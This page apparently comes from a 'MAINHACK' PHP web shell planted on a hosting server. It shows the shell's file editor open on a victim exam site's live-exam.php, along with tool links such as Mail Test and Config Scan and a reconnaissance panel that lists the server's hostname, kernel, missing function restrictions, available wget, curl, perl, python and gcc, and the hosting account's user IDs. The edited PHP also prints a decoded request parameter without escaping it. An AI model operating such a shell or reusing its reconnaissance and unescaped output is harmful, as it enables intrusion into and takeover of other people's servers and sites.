[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: live-exam.php
<?php include("header.php");$cate=base64_decode($_REQUEST['cate']); ?> <!-- // Header include --> <!-- Banner Slider --> <div class="banner-inner"> <img src="images/iner-banner01.png" class="banner-inner" alt=" inner-banner" /> <div class="dec"> <div class="container"> <ul> <li><a href="index.php">Home</a></li> <li><a href="Live-Practice.php" class="active">Exam </a></li> </ul> <h1>Live-Exam</h1> </div> </div> </div> <!-- // Banner Slider --> <script> function check_login(val1){ var val="<?=$_SESSION['login_id']?>"; //alert(val); if(val==""){ alert('Please login to give exam'); }else{ var package_status="<?=$_SESSION['package_status']?>"; if(package_status=="NO"){ alert('Sorry! you do not have any active package to take this exam'); }else{ window.location = "give_exam.php?pip="+val1; } } } </script> <?php $_SESSION['package_status']?> <div class="Liveexam" style=""> <div class="home-title" style=""> <h2>Live Exam <span> <?=$cate?> </span> </h2> <h6>Attempt Free Live Tests & Quizzes to benchmark your ...</h6> </div> <div class="container"> <?php $count=1; $stmt=$show->readwithdata('paper_details','category',$cate); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ ?> <div class="Liveexam-bg"> <span class=""><?=$count?></span> <h3><?=$cate?></h3> <h4><?=$row['paper_name']?></b></h4> <h5 class="">Start practicing now to stay ahead and excel in <b><?=$cate?></b></h5> <h6>No of question : <b><?=$row['no_of_question']?>,</b></h6> <h6>Time <b><?php $time=explode(":",$row['exam_timing']); echo $time[0]."hrs : ".$time[1]."mins"; ?></b></h6> <a onclick="check_login('<?=base64_encode($row['paper_id'])?>')" class="btn-cal-now"> Give Exam<i class="fa fa-angle-double-right" aria-hidden="true"></i> </a> </div> <?php ++$count;} }else{ echo "<h4>No Data Found</h4>"; } ?> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.22 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619